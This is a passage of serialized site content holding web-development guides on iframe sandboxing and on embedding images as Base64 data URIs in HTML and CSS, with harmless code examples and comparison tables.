src=\"https:\u002F\u002Fvideos.example.com\u002Fembed\u002Fabc123\"\n>\u003C\u002Fiframe>\n",[143,130188,130189,130195,130204,130213],{"__ignoreMap":141},[1560,130190,130191,130193],{"class":1562,"line":1563},[1560,130192,6431],{"class":1570},[1560,130194,126936],{"class":2484},[1560,130196,130197,130199,130201],{"class":1562,"line":337},[1560,130198,126960],{"class":1566},[1560,130200,7297],{"class":1570},[1560,130202,130203],{"class":5634},"\"allow-scripts allow-presentation\"\n",[1560,130205,130206,130208,130210],{"class":1562,"line":343},[1560,130207,130162],{"class":1566},[1560,130209,7297],{"class":1570},[1560,130211,130212],{"class":5634},"\"https:\u002F\u002Fvideos.example.com\u002Fembed\u002Fabc123\"\n",[1560,130214,130215,130217,130219],{"class":1562,"line":365},[1560,130216,12441],{"class":1570},[1560,130218,126972],{"class":2484},[1560,130220,6441],{"class":1570},[16,130222,130223],{},"Scripts run for playback, but no forms, no navigation, no same-origin access.",[11,130225,130227],{"id":130226},"testing-your-sandbox-configuration","Testing Your Sandbox Configuration",[16,130229,130230,130231,1459,130234,1466,130237,130239],{},"Always test sandbox configurations with deliberate escape attempts. Create a test page that tries ",[143,130232,130233],{},"parent.document",[143,130235,130236],{},"top.location.href",[143,130238,129903],{}," to verify that restrictions hold. Browser developer tools show the active sandbox flags in the iframe's security properties.",[16,130241,130242,130243,130246],{},"For quick sandbox attribute generation and testing, the ",[98,130244,130245],{"href":109027},"HTML Preview tool"," renders code snippets in a sandboxed environment with configurable permissions.",[2043,130248,130249],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":141,"searchDepth":337,"depth":337,"links":130251},[130252,130253,130254,130255,130256],{"id":129688,"depth":337,"text":129689},{"id":129838,"depth":337,"text":129839},{"id":129983,"depth":337,"text":129984},{"id":65160,"depth":337,"text":65161},{"id":130226,"depth":337,"text":130227},"Understanding sandbox restrictions for secure HTML preview and embedded content.",{},"\u002Fguides\u002Fiframe-sandbox-security",{"title":129674,"description":130257},"guides\u002Fiframe-sandbox-security","8c3YyKdU6-awMyc5Bm0cPUgQxGAhmgAq1mQzCWTv3rA",{"id":130264,"title":12173,"body":130265,"date":2070,"description":131157,"extension":361,"meta":131158,"navigation":363,"path":12172,"readingTime":1710,"seo":131159,"stem":131160,"__hash__":131161},"guides\u002Fguides\u002Fimage-to-base64-guide.md",{"type":8,"value":130266,"toc":131132},[130267,130271,130274,130281,130287,130290,130319,130328,130332,130335,130403,130409,130413,130416,130420,130423,130470,130474,130477,130525,130529,130532,130536,130539,130543,130546,130550,130553,130623,130627,130630,130634,130637,130641,130647,130651,130746,130750,130757,130760,130764,130768,130900,130902,131079,131081,131105,131107,131113,131115,131129],[11,130268,130270],{"id":130269},"what-is-image-to-base64-encoding","What is Image-to-Base64 Encoding?",[16,130272,130273],{},"Image-to-Base64 encoding converts a binary image file — PNG, JPEG, SVG, or WebP — into a text string you can place directly inside HTML or CSS. The browser decodes that string and renders the image without a separate HTTP request.",[16,130275,130276,130277,130280],{},"You write it as a ",[47,130278,130279],{},"Data URI",", a special URL scheme defined in RFC 2397:",[135,130282,130285],{"className":130283,"code":130284,"language":140},[138],"data:[\u003Cmediatype>][;base64],\u003Cdata>\n",[143,130286,130284],{"__ignoreMap":141},[16,130288,130289],{},"A real example looks like this:",[135,130291,130293],{"className":6417,"code":130292,"language":6419,"meta":141,"style":141},"\u003Cimg src=\"data:image\u002Fpng;base64,iVBORw0KGgoAAAANSUhEUg...\"\n     alt=\"Small red dot\">\n",[143,130294,130295,130308],{"__ignoreMap":141},[1560,130296,130297,130299,130301,130303,130305],{"class":1562,"line":1563},[1560,130298,6431],{"class":1570},[1560,130300,10628],{"class":2484},[1560,130302,10631],{"class":1566},[1560,130304,7297],{"class":1570},[1560,130306,130307],{"class":5634},"\"data:image\u002Fpng;base64,iVBORw0KGgoAAAANSUhEUg...\"\n",[1560,130309,130310,130312,130314,130317],{"class":1562,"line":337},[1560,130311,10641],{"class":1566},[1560,130313,7297],{"class":1570},[1560,130315,130316],{"class":5634},"\"Small red dot\"",[1560,130318,6441],{"class":1570},[16,130320,421,130321,130323,130324,130327],{},[143,130322,87462],{}," prefix tells the browser the content is inline, not a remote resource. The ",[143,130325,130326],{},";base64"," flag signals that the data portion uses Base64 encoding rather than raw percent-encoded bytes.",[11,130329,130331],{"id":130330},"data-uri-syntax-breakdown","Data URI Syntax Breakdown",[16,130333,130334],{},"Every Data URI has four parts:",[193,130336,130337,130348],{},[196,130338,130339],{},[199,130340,130341,130344,130346],{},[202,130342,130343],{},"Part",[202,130345,47400],{},[202,130347,133],{},[211,130349,130350,130361,130380,130391],{},[199,130351,130352,130355,130357],{},[216,130353,130354],{},"Scheme",[216,130356,3057],{},[216,130358,130359],{},[143,130360,87462],{},[199,130362,130363,130366,130372],{},[216,130364,130365],{},"Media type",[216,130367,130368,130369,1525],{},"No (defaults to ",[143,130370,130371],{},"text\u002Fplain",[216,130373,130374,1459,130377],{},[143,130375,130376],{},"image\u002Fpng",[143,130378,130379],{},"image\u002Fsvg+xml",[199,130381,130382,130385,130387],{},[216,130383,130384],{},"Base64 flag",[216,130386,6117],{},[216,130388,130389],{},[143,130390,130326],{},[199,130392,130393,130396,130398],{},[216,130394,130395],{},"Data",[216,130397,3057],{},[216,130399,130400],{},[143,130401,130402],{},"iVBORw0KGgo...",[16,130404,130405,130406,130408],{},"If you omit the media type, the browser assumes plain text. If you omit ",[143,130407,130326],{},", the data must be percent-encoded — which works for short SVGs but bloats binary images.",[11,130410,130412],{"id":130411},"when-to-embed-images-inline","When to Embed Images Inline",[16,130414,130415],{},"Embedding images as Base64 makes sense in specific situations where the benefits outweigh the trade-offs.",[33,130417,130419],{"id":130418},"small-icons-and-ui-elements","Small Icons and UI Elements",[16,130421,130422],{},"Icons under 2 KB gain the most from inlining. You save an HTTP request for a file that would barely fill a single TCP packet anyway.",[135,130424,130426],{"className":6417,"code":130425,"language":6419,"meta":141,"style":141},"\u003C!-- 1-pixel tracker or tiny icon -->\n\u003Cimg src=\"data:image\u002Fgif;base64,R0lGODlhAQABAIAAAAAAAP\u002F\u002F\u002FyH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"\n     alt=\"Spacer\" width=\"1\" height=\"1\">\n",[143,130427,130428,130433,130446],{"__ignoreMap":141},[1560,130429,130430],{"class":1562,"line":1563},[1560,130431,130432],{"class":1649},"\u003C!-- 1-pixel tracker or tiny icon -->\n",[1560,130434,130435,130437,130439,130441,130443],{"class":1562,"line":337},[1560,130436,6431],{"class":1570},[1560,130438,10628],{"class":2484},[1560,130440,10631],{"class":1566},[1560,130442,7297],{"class":1570},[1560,130444,130445],{"class":5634},"\"data:image\u002Fgif;base64,R0lGODlhAQABAIAAAAAAAP\u002F\u002F\u002FyH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"\n",[1560,130447,130448,130450,130452,130455,130457,130459,130462,130464,130466,130468],{"class":1562,"line":343},[1560,130449,10641],{"class":1566},[1560,130451,7297],{"class":1570},[1560,130453,130454],{"class":5634},"\"Spacer\"",[1560,130456,10649],{"class":1566},[1560,130458,7297],{"class":1570},[1560,130460,130461],{"class":5634},"\"1\"",[1560,130463,10657],{"class":1566},[1560,130465,7297],{"class":1570},[1560,130467,130461],{"class":5634},[1560,130469,6441],{"class":1570},[33,130471,130473],{"id":130472},"email-html-templates","Email HTML Templates",[16,130475,130476],{},"Most email clients block external images by default. Base64-encoded logos and CTAs display immediately without requiring the recipient to click \"Show images.\"",[135,130478,130480],{"className":6417,"code":130479,"language":6419,"meta":141,"style":141},"\u003C!-- Email-safe inline logo -->\n\u003Cimg src=\"data:image\u002Fpng;base64,iVBORw0KGgo...\"\n     alt=\"Company Logo\" width=\"120\" height=\"40\">\n",[143,130481,130482,130487,130500],{"__ignoreMap":141},[1560,130483,130484],{"class":1562,"line":1563},[1560,130485,130486],{"class":1649},"\u003C!-- Email-safe inline logo -->\n",[1560,130488,130489,130491,130493,130495,130497],{"class":1562,"line":337},[1560,130490,6431],{"class":1570},[1560,130492,10628],{"class":2484},[1560,130494,10631],{"class":1566},[1560,130496,7297],{"class":1570},[1560,130498,130499],{"class":5634},"\"data:image\u002Fpng;base64,iVBORw0KGgo...\"\n",[1560,130501,130502,130504,130506,130509,130511,130513,130516,130518,130520,130523],{"class":1562,"line":343},[1560,130503,10641],{"class":1566},[1560,130505,7297],{"class":1570},[1560,130507,130508],{"class":5634},"\"Company Logo\"",[1560,130510,10649],{"class":1566},[1560,130512,7297],{"class":1570},[1560,130514,130515],{"class":5634},"\"120\"",[1560,130517,10657],{"class":1566},[1560,130519,7297],{"class":1570},[1560,130521,130522],{"class":5634},"\"40\"",[1560,130524,6441],{"class":1570},[33,130526,130528],{"id":130527},"single-file-deployments","Single-File Deployments",[16,130530,130531],{},"Demos, documentation pages, and standalone HTML files benefit from self-containment. You ship one file instead of a folder of assets.",[33,130533,130535],{"id":130534},"proto-boards-and-code-pens","Proto boards and Code Pens",[16,130537,130538],{},"When you share code snippets or embed examples, Base64 images keep everything portable. No broken image links from missing assets.",[11,130540,130542],{"id":130541},"when-not-to-embed-images-inline","When NOT to Embed Images Inline",[16,130544,130545],{},"Inlining has real costs. Avoid it in these scenarios.",[33,130547,130549],{"id":130548},"large-photos-and-hero-images","Large Photos and Hero Images",[16,130551,130552],{},"A 200 KB JPEG becomes roughly 267 KB of Base64 text. That bloats your HTML, blocks parsing, and delays rendering of the entire page.",[135,130554,130556],{"className":6417,"code":130555,"language":6419,"meta":141,"style":141},"\u003C!-- DON'T: base64-encode large images -->\n\u003Cimg src=\"data:image\u002Fjpeg;base64,\u002F9j\u002F4AAQ...[267KB of text]...\"\n     alt=\"Hero photo\">\n\n\u003C!-- DO: reference external file -->\n\u003Cimg src=\"hero.jpg\" alt=\"Hero photo\" loading=\"lazy\">\n",[143,130557,130558,130563,130576,130587,130591,130596],{"__ignoreMap":141},[1560,130559,130560],{"class":1562,"line":1563},[1560,130561,130562],{"class":1649},"\u003C!-- DON'T: base64-encode large images -->\n",[1560,130564,130565,130567,130569,130571,130573],{"class":1562,"line":337},[1560,130566,6431],{"class":1570},[1560,130568,10628],{"class":2484},[1560,130570,10631],{"class":1566},[1560,130572,7297],{"class":1570},[1560,130574,130575],{"class":5634},"\"data:image\u002Fjpeg;base64,\u002F9j\u002F4AAQ...[267KB of text]...\"\n",[1560,130577,130578,130580,130582,130585],{"class":1562,"line":343},[1560,130579,10641],{"class":1566},[1560,130581,7297],{"class":1570},[1560,130583,130584],{"class":5634},"\"Hero photo\"",[1560,130586,6441],{"class":1570},[1560,130588,130589],{"class":1562,"line":365},[1560,130590,1702],{"emptyLinePlaceholder":363},[1560,130592,130593],{"class":1562,"line":889},[1560,130594,130595],{"class":1649},"\u003C!-- DO: reference external file -->\n",[1560,130597,130598,130600,130602,130604,130606,130609,130611,130613,130615,130617,130619,130621],{"class":1562,"line":1710},[1560,130599,6431],{"class":1570},[1560,130601,10628],{"class":2484},[1560,130603,10631],{"class":1566},[1560,130605,7297],{"class":1570},[1560,130607,130608],{"class":5634},"\"hero.jpg\"",[1560,130610,12889],{"class":1566},[1560,130612,7297],{"class":1570},[1560,130614,130584],{"class":5634},[1560,130616,13206],{"class":1566},[1560,130618,7297],{"class":1570},[1560,130620,13211],{"class":5634},[1560,130622,6441],{"class":1570},[33,130624,130626],{"id":130625},"images-used-on-multiple-pages","Images Used on Multiple Pages",[16,130628,130629],{},"An external image downloads once, then the browser serves it from cache on every subsequent page. A Base64 image downloads again every time the host page changes — even by one character.",[33,130631,130633],{"id":130632},"frequently-updated-assets","Frequently Updated Assets",[16,130635,130636],{},"Change a Base64-encoded logo and you must edit every file that contains it. An external file lets you swap the image once and invalidate cache with a query string or hash.",[33,130638,130640],{"id":130639},"svgs-that-need-styling-or-scripting","SVGs That Need Styling or Scripting",[16,130642,130643,130644,130646],{},"Base64-encoded SVGs become opaque blobs — you cannot target their internal elements with CSS or JavaScript. Use inline ",[143,130645,10910],{}," markup instead.",[11,130648,130650],{"id":130649},"inline-vs-external-comparison","Inline vs External: Comparison",[193,130652,130653,130664],{},[196,130654,130655],{},[199,130656,130657,130659,130661],{},[202,130658,1234],{},[202,130660,13107],{},[202,130662,130663],{},"External File",[211,130665,130666,130677,130687,130698,130709,130725,130736],{},[199,130667,130668,130671,130674],{},[216,130669,130670],{},"HTTP requests",[216,130672,130673],{},"None (embedded)",[216,130675,130676],{},"One per file",[199,130678,130679,130681,130684],{},[216,130680,85178],{},[216,130682,130683],{},"+33% Base64 overhead",[216,130685,130686],{},"Original size",[199,130688,130689,130692,130695],{},[216,130690,130691],{},"Browser cache",[216,130693,130694],{},"No (tied to parent file)",[216,130696,130697],{},"Yes (independent)",[199,130699,130700,130703,130706],{},[216,130701,130702],{},"Progressive render",[216,130704,130705],{},"No (decode after full parse)",[216,130707,130708],{},"Yes (streaming JPEG\u002FPNG)",[199,130710,130711,130714,130719],{},[216,130712,130713],{},"CSP compatibility",[216,130715,87391,130716,130718],{},[143,130717,87462],{}," in directive",[216,130720,130721,130722],{},"Works with ",[143,130723,130724],{},"'self'",[199,130726,130727,130730,130733],{},[216,130728,130729],{},"Edit workflow",[216,130731,130732],{},"Update every embedding file",[216,130734,130735],{},"Update one file",[199,130737,130738,130740,130743],{},[216,130739,61666],{},[216,130741,130742],{},"\u003C 2 KB, single-use assets",[216,130744,130745],{},"Everything else",[11,130747,130749],{"id":130748},"the-2-kb-rule-of-thumb","The 2 KB Rule of Thumb",[16,130751,130752,130753,130756],{},"Aim to inline only images ",[47,130754,130755],{},"under 2 KB"," after Base64 encoding. Below that threshold, the request overhead outweighs the size penalty. Above it, caching and progressive loading deliver faster perceived performance.",[16,130758,130759],{},"Some teams push the limit to 4 KB or 8 KB, but each step up trades more page weight for fewer requests — diminishing returns set in quickly.",[11,130761,130763],{"id":130762},"how-to-generate-data-uris","How to Generate Data URIs",[33,130765,130767],{"id":130766},"browser-javascript","Browser (JavaScript)",[135,130769,130771],{"className":1607,"code":130770,"language":1609,"meta":141,"style":141},"const input = document.querySelector('input[type=\"file\"]');\n\ninput.addEventListener('change', async (e) => {\n  const file = e.target.files[0];\n  const reader = new FileReader();\n  reader.onload = () => {\n    console.log(reader.result);\n    \u002F\u002F \"data:image\u002Fpng;base64,iVBORw0KGgo...\"\n  };\n  reader.readAsDataURL(file);\n});\n",[143,130772,130773,130792,130796,130821,130836,130851,130867,130876,130881,130886,130896],{"__ignoreMap":141},[1560,130774,130775,130777,130779,130781,130783,130785,130787,130790],{"class":1562,"line":1563},[1560,130776,8180],{"class":1669},[1560,130778,33169],{"class":1576},[1560,130780,8186],{"class":1669},[1560,130782,11555],{"class":1570},[1560,130784,11786],{"class":1566},[1560,130786,1688],{"class":1570},[1560,130788,130789],{"class":5634},"'input[type=\"file\"]'",[1560,130791,1744],{"class":1570},[1560,130793,130794],{"class":1562,"line":337},[1560,130795,1702],{"emptyLinePlaceholder":363},[1560,130797,130798,130800,130802,130804,130807,130809,130811,130813,130815,130817,130819],{"class":1562,"line":343},[1560,130799,96968],{"class":1570},[1560,130801,11766],{"class":1566},[1560,130803,1688],{"class":1570},[1560,130805,130806],{"class":5634},"'change'",[1560,130808,1459],{"class":1570},[1560,130810,82166],{"class":1669},[1560,130812,5181],{"class":1570},[1560,130814,96224],{"class":2219},[1560,130816,1733],{"class":1570},[1560,130818,11503],{"class":1669},[1560,130820,1571],{"class":1570},[1560,130822,130823,130825,130827,130829,130832,130834],{"class":1562,"line":365},[1560,130824,28057],{"class":1669},[1560,130826,110917],{"class":1576},[1560,130828,8186],{"class":1669},[1560,130830,130831],{"class":1570}," e.target.files[",[1560,130833,5285],{"class":1576},[1560,130835,13502],{"class":1570},[1560,130837,130838,130840,130842,130844,130846,130849],{"class":1562,"line":889},[1560,130839,28057],{"class":1669},[1560,130841,110478],{"class":1576},[1560,130843,8186],{"class":1669},[1560,130845,11489],{"class":1669},[1560,130847,130848],{"class":1566}," FileReader",[1560,130850,90158],{"class":1570},[1560,130852,130853,130856,130858,130860,130863,130865],{"class":1562,"line":1710},[1560,130854,130855],{"class":1570},"  reader.",[1560,130857,54047],{"class":1566},[1560,130859,8186],{"class":1669},[1560,130861,130862],{"class":1570}," () ",[1560,130864,11503],{"class":1669},[1560,130866,1571],{"class":1570},[1560,130868,130869,130871,130873],{"class":1562,"line":1717},[1560,130870,102264],{"class":1570},[1560,130872,8214],{"class":1566},[1560,130874,130875],{"class":1570},"(reader.result);\n",[1560,130877,130878],{"class":1562,"line":1747},[1560,130879,130880],{"class":1649},"    \u002F\u002F \"data:image\u002Fpng;base64,iVBORw0KGgo...\"\n",[1560,130882,130883],{"class":1562,"line":2507},[1560,130884,130885],{"class":1570},"  };\n",[1560,130887,130888,130890,130893],{"class":1562,"line":2524},[1560,130889,130855],{"class":1570},[1560,130891,130892],{"class":1566},"readAsDataURL",[1560,130894,130895],{"class":1570},"(file);\n",[1560,130897,130898],{"class":1562,"line":2529},[1560,130899,11809],{"class":1570},[33,130901,118955],{"id":8543},[135,130903,130905],{"className":1607,"code":130904,"language":1609,"meta":141,"style":141},"const fs = require('fs');\nconst path = require('path');\n\nfunction imageToDataUri(filePath) {\n  const ext = path.extname(filePath);\n  const mime = { '.png': 'image\u002Fpng', '.jpg': 'image\u002Fjpeg', '.svg': 'image\u002Fsvg+xml' };\n  const base64 = fs.readFileSync(filePath).toString('base64');\n  return `data:${mime[ext]};base64,${base64}`;\n}\n",[143,130906,130907,130925,130943,130947,130961,130979,131021,131048,131075],{"__ignoreMap":141},[1560,130908,130909,130911,130914,130916,130918,130920,130923],{"class":1562,"line":1563},[1560,130910,8180],{"class":1669},[1560,130912,130913],{"class":1576}," fs",[1560,130915,8186],{"class":1669},[1560,130917,20658],{"class":1566},[1560,130919,1688],{"class":1570},[1560,130921,130922],{"class":5634},"'fs'",[1560,130924,1744],{"class":1570},[1560,130926,130927,130929,130932,130934,130936,130938,130941],{"class":1562,"line":337},[1560,130928,8180],{"class":1669},[1560,130930,130931],{"class":1576}," path",[1560,130933,8186],{"class":1669},[1560,130935,20658],{"class":1566},[1560,130937,1688],{"class":1570},[1560,130939,130940],{"class":5634},"'path'",[1560,130942,1744],{"class":1570},[1560,130944,130945],{"class":1562,"line":343},[1560,130946,1702],{"emptyLinePlaceholder":363},[1560,130948,130949,130951,130954,130956,130959],{"class":1562,"line":365},[1560,130950,8648],{"class":1669},[1560,130952,130953],{"class":1566}," imageToDataUri",[1560,130955,1688],{"class":1570},[1560,130957,130958],{"class":2219},"filePath",[1560,130960,9345],{"class":1570},[1560,130962,130963,130965,130968,130970,130973,130976],{"class":1562,"line":889},[1560,130964,28057],{"class":1669},[1560,130966,130967],{"class":1576}," ext",[1560,130969,8186],{"class":1669},[1560,130971,130972],{"class":1570}," path.",[1560,130974,130975],{"class":1566},"extname",[1560,130977,130978],{"class":1570},"(filePath);\n",[1560,130980,130981,130983,130986,130988,130990,130993,130995,130998,131000,131003,131005,131008,131010,131013,131015,131018],{"class":1562,"line":1710},[1560,130982,28057],{"class":1669},[1560,130984,130985],{"class":1576}," mime",[1560,130987,8186],{"class":1669},[1560,130989,1658],{"class":1570},[1560,130991,130992],{"class":5634},"'.png'",[1560,130994,1663],{"class":1570},[1560,130996,130997],{"class":5634},"'image\u002Fpng'",[1560,130999,1459],{"class":1570},[1560,131001,131002],{"class":5634},"'.jpg'",[1560,131004,1663],{"class":1570},[1560,131006,131007],{"class":5634},"'image\u002Fjpeg'",[1560,131009,1459],{"class":1570},[1560,131011,131012],{"class":5634},"'.svg'",[1560,131014,1663],{"class":1570},[1560,131016,131017],{"class":5634},"'image\u002Fsvg+xml'",[1560,131019,131020],{"class":1570}," };\n",[1560,131022,131023,131025,131028,131030,131033,131036,131039,131041,131043,131046],{"class":1562,"line":1717},[1560,131024,28057],{"class":1669},[1560,131026,131027],{"class":1576}," base64",[1560,131029,8186],{"class":1669},[1560,131031,131032],{"class":1570}," fs.",[1560,131034,131035],{"class":1566},"readFileSync",[1560,131037,131038],{"class":1570},"(filePath).",[1560,131040,10052],{"class":1566},[1560,131042,1688],{"class":1570},[1560,131044,131045],{"class":5634},"'base64'",[1560,131047,1744],{"class":1570},[1560,131049,131050,131052,131055,131058,131060,131063,131066,131069,131071,131073],{"class":1562,"line":1747},[1560,131051,9350],{"class":1669},[1560,131053,131054],{"class":5634}," `data:${",[1560,131056,131057],{"class":1570},"mime",[1560,131059,24385],{"class":5634},[1560,131061,131062],{"class":1570},"ext",[1560,131064,131065],{"class":5634},"]",[1560,131067,131068],{"class":5634},"};base64,${",[1560,131070,86311],{"class":1570},[1560,131072,9582],{"class":5634},[1560,131074,2228],{"class":1570},[1560,131076,131077],{"class":1562,"line":2507},[1560,131078,1585],{"class":1570},[11,131080,1355],{"id":1354},[41,131082,131083,131090,131093,131096,131099,131102],{},[44,131084,131085,131086,131089],{},"Data URIs embed images directly in HTML or CSS using the ",[143,131087,131088],{},"data:image\u002F\u003Ctype>;base64,\u003Cdata>"," format",[44,131091,131092],{},"Inline images under 2 KB to save HTTP requests without hurting performance",[44,131094,131095],{},"Avoid Base64 for large images, repeated assets, and frequently changed resources",[44,131097,131098],{},"External files win on caching, progressive rendering, and edit workflow",[44,131100,131101],{},"Email templates and single-file demos are strong use cases for inlining",[44,131103,131104],{},"Always compress images before encoding — smaller input means smaller Base64 output",[11,131106,286],{"id":285},[16,131108,131109,131110,131112],{},"Convert images to Base64 Data URIs with our free ",[98,131111,12162],{"href":12161},". Paste an image, get the Data URI string, and drop it straight into your HTML.",[11,131114,321],{"id":320},[41,131116,131117,131121,131125],{},[44,131118,131119],{},[98,131120,12179],{"href":12178},[44,131122,131123],{},[98,131124,10944],{"href":12217},[44,131126,131127],{},[98,131128,12185],{"href":12184},[2043,131130,131131],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":131133},[131134,131135,131136,131142,131148,131149,131150,131154,131155,131156],{"id":130269,"depth":337,"text":130270},{"id":130330,"depth":337,"text":130331},{"id":130411,"depth":337,"text":130412,"children":131137},[131138,131139,131140,131141],{"id":130418,"depth":343,"text":130419},{"id":130472,"depth":343,"text":130473},{"id":130527,"depth":343,"text":130528},{"id":130534,"depth":343,"text":130535},{"id":130541,"depth":337,"text":130542,"children":131143},[131144,131145,131146,131147],{"id":130548,"depth":343,"text":130549},{"id":130625,"depth":343,"text":130626},{"id":130632,"depth":343,"text":130633},{"id":130639,"depth":343,"text":130640},{"id":130649,"depth":337,"text":130650},{"id":130748,"depth":337,"text":130749},{"id":130762,"depth":337,"text":130763,"children":131151},[131152,131153],{"id":130766,"depth":343,"text":130767},{"id":8543,"depth":343,"text":118955},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn when to embed images as Base64 Data URIs in HTML and CSS, and when external files are better. Includes syntax, use cases, and a comparison table.",{"immutable":363},{"title":12173,"description":131157},"guides\u002Fimage-to-base64-guide","MqHKGeZZBHADbRaRN_EZZb1ifmIulcFGT13AJ2Fep34",{"id":131163,"title":131164,"body":131165,"date":2070,"description":131728,"extension":361,"meta":131729,"navigation":363,"path":131730,"readingTime":1710,"seo":131731,"stem":131732,"__hash__":131733},"guides\u002Fguides\u002Finline-images-css-base64.md","Inline Images in CSS with Base64: When and How",{"type":8,"value":131166,"toc":131717},[131167,131170,131174,131177,131247,131250,131254,131257,131262,131276,131281,131295,131298,131302,131305,131358,131361,131365,131368,131475,131478,131503,131507,131510,131513,131516,131520,131523,131528,131570,131575,131665,131668,131670,131690,131692,131706,131708,131714],[16,131168,131169],{},"Base64-encoded images in CSS let you embed small images directly in your stylesheet, eliminating separate HTTP requests. This technique works well for tiny assets like icons and decorative elements — but it comes with size and caching trade-offs that make it unsuitable for larger images.",[11,131171,131173],{"id":131172},"how-base64-images-work-in-css","How Base64 Images Work in CSS",[16,131175,131176],{},"A Base64-encoded image replaces the image URL with a data URI containing the encoded file content:",[135,131178,131180],{"className":1554,"code":131179,"language":1556,"meta":141,"style":141},"\u002F* External image — requires a separate HTTP request *\u002F\n.icon-home {\n  background-image: url('\u002Fimages\u002Fhome.svg');\n}\n\n\u002F* Inline Base64 — no separate request *\u002F\n.icon-home {\n  background-image: url('data:image\u002Fsvg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PC9zdmc+');\n}\n",[143,131181,131182,131187,131194,131209,131213,131217,131222,131228,131243],{"__ignoreMap":141},[1560,131183,131184],{"class":1562,"line":1563},[1560,131185,131186],{"class":1649},"\u002F* External image — requires a separate HTTP request *\u002F\n",[1560,131188,131189,131192],{"class":1562,"line":337},[1560,131190,131191],{"class":1566},".icon-home",[1560,131193,1571],{"class":1570},[1560,131195,131196,131198,131200,131202,131204,131207],{"class":1562,"line":343},[1560,131197,11305],{"class":1576},[1560,131199,1663],{"class":1570},[1560,131201,11310],{"class":1576},[1560,131203,1688],{"class":1570},[1560,131205,131206],{"class":5634},"'\u002Fimages\u002Fhome.svg'",[1560,131208,1744],{"class":1570},[1560,131210,131211],{"class":1562,"line":365},[1560,131212,1585],{"class":1570},[1560,131214,131215],{"class":1562,"line":889},[1560,131216,1702],{"emptyLinePlaceholder":363},[1560,131218,131219],{"class":1562,"line":1710},[1560,131220,131221],{"class":1649},"\u002F* Inline Base64 — no separate request *\u002F\n",[1560,131223,131224,131226],{"class":1562,"line":1717},[1560,131225,131191],{"class":1566},[1560,131227,1571],{"class":1570},[1560,131229,131230,131232,131234,131236,131238,131241],{"class":1562,"line":1747},[1560,131231,11305],{"class":1576},[1560,131233,1663],{"class":1570},[1560,131235,11310],{"class":1576},[1560,131237,1688],{"class":1570},[1560,131239,131240],{"class":5634},"'data:image\u002Fsvg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PC9zdmc+'",[1560,131242,1744],{"class":1570},[1560,131244,131245],{"class":1562,"line":2507},[1560,131246,1585],{"class":1570},[16,131248,131249],{},"The browser decodes the Base64 string back into binary image data and renders it exactly as if it had fetched the file from a URL. No visual difference. No functional difference. But the trade-offs are real.",[11,131251,131253],{"id":131252},"when-to-use-base64-inlining","When to Use Base64 inlining",[16,131255,131256],{},"Base64 inlining makes sense for small, frequently-used assets where the request overhead outweighs the size penalty:",[16,131258,131259],{},[47,131260,131261],{},"Good candidates:",[41,131263,131264,131267,131270,131273],{},[44,131265,131266],{},"Small icons (under 2 KB original size)",[44,131268,131269],{},"Single-color SVG icons used across multiple 